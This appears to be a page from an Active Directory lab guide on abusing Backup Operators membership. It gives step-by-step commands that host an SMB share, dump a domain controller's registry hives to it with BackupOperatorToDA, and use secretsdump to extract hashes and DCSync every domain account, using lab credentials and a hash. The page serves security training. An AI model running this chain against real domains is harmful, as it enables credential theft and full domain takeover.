# Backup Operators

## Configuring

### Prerequisite&#x20;

The membership of the "Backup Operators" group is configured in the Dumping DPAPI page.

{% content-ref url="../../misc/different-methods-of-dumping-credentials/page-3" %}
[page-3](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/misc/different-methods-of-dumping-credentials/page-3)
{% endcontent-ref %}

## Attacking

### How it works

The Backup Operators group is a built in group in AD. By default it has no members.

Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. They also have the permissions needed to replace files (including operating system files) on domain controllers.

One of the known attacks is to copy the ntds.dit file and extract all the domain credentials from it.

{% hint style="info" %}
I wasn't able to copy the `ntds.dit` file. There are some write-ups such as [these](https://coldfusionx.github.io/posts/Blackfield-HTB/) describing how to abuse the "Backup Operator" group through making a shadow copy, but these require winrm access to the DC.&#x20;

In my attack we will use the tool BackupOperatorToDA from [mpgn](https://github.com/mpgn/BackupOperatorToDA).
{% endhint %}

### Tools

* [Smbserver.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py)
* [BackupOperatorToDA.exe](https://github.com/mpgn/BackupOperatorToDA)

### Executing the attack

#### The small stuff

* Login to the DC locally (Not through RDP but only locally):

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F1EFFLrt4Al6uFA2gYsWJ%2Fimage.png?alt=media\&token=a9c83b15-9dbd-4bb5-a810-04be4cc9348e)

* List files on the Domain Controller:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F4nfMUfaDeDEsXTfBLRIV%2Fimage.png?alt=media&#x26;token=e938d7a4-a2b7-4d32-b947-e76953c579ec" alt=""></div>

* Copy files from the Domain Controller:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FJmKSSWMLTvtst4LOrbWf%2Fimage.png?alt=media\&token=549885d7-42e0-425c-b046-49e9612b20c3)

#### To Domain Admin!

From our enumeration when we gained access to the `sa_backup` account we know the user is part of the Backup Operators group. We can abuse the permissions by making a copy of the SAM, SYSTEM and SECURITY hive, extract the machine account hash and then execute a DCsync attack.

1. Login to `DATA01` as `sa_backup` with the password `LS6RV5o8T9`.
2. Run the following command to check if the `sa_backup` user is member of the `Backup Operators` group.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FghlYtsnuDrBsVj3b7ZoQ%2Fimage.png?alt=media&#x26;token=270f1546-cd68-4232-9199-a03ed5b7f6ca" alt=""></div>

3\. One of the requirements is to host a public SMB share, we can do this with the smbserver.py script from Impacket. This will create a share on `\\192.168.248.2\share`.

```
python3 /opt/impacket/examples/smbserver.py share ~/adlab -smb2support
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FKfnAka5xbPfYFXMYKcT3%2Fimage.png?alt=media&#x26;token=cd9670f5-9e02-4601-83e1-85b6eac87544" alt=""></div>

4\. The next step is to execute the BackupOperatorToDa.exe tool to retrieve the the SAM, SYSTEN and SECURITY HIVE and save them in our created public share:

```
.\BackupOperatorToDA.exe -t \\dc03.secure.local -u sa_backup -p LS6RV5o8T9 -d secure.local -o \\192.168.248.2\share\
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F8PYv2UDsXWDjkuTTGrc7%2Fimage.png?alt=media\&token=09cfbf84-3557-48e4-a431-f69feb2bb5fb)

{% hint style="info" %}
If you are using another share, make sure the share is writeable by anyone otherwise the DC won't be able to write its files.
{% endhint %}

5\. If we check in our directory `~/adlab` we can see the files: (for the screenshot I made a copy in the HIVE directory)

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F0r7KtSMYCSlHnPLMjXLD%2Fimage.png?alt=media&#x26;token=bd015fea-bd86-48a1-a718-52a50a6fbfb5" alt=""></div>

6\. The next step is to run SecretDump.py to retrieve the machine account NTLM hash out of these HIVE dumps:

```
secretsdump.py LOCAL -system ~/adlab/SYSTEM -security ~/adlab/SECURITY -sam ~/adlab/SAM
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fgy7X1TcQntYOZppiLfHH%2Fimage.png?alt=media\&token=52721dc4-9b47-4084-b96a-94f5bea7902e)

7\. The last step is to run Secretsdump.py to run DCsync and retrieve all the domain account hashes:

```
secretsdump.py 'secure.local/dc03$'@dc03.secure.local -hashes aad3b435b51404eeaad3b435b51404ee:ba6414d4e6ce546465b256950282c7f3
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FKKR5rU0lzQLt9YpOCOHc%2Fimage.png?alt=media\&token=bae3d241-5ba1-48a7-a93e-b1eedeacdec2)

We retrieved the NTLM account hash of every user in the domain and could authenticate with these to the domain controller. As Administrator for example which is Domain Admin.

## Defending

### Recommendations

* Never use any of the "Operator" groups. Create specialised groups and minimal permissions for the tasks the different IT departments/roles need. Use the least privilege principal.

### Detection

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#account-operators>" %}
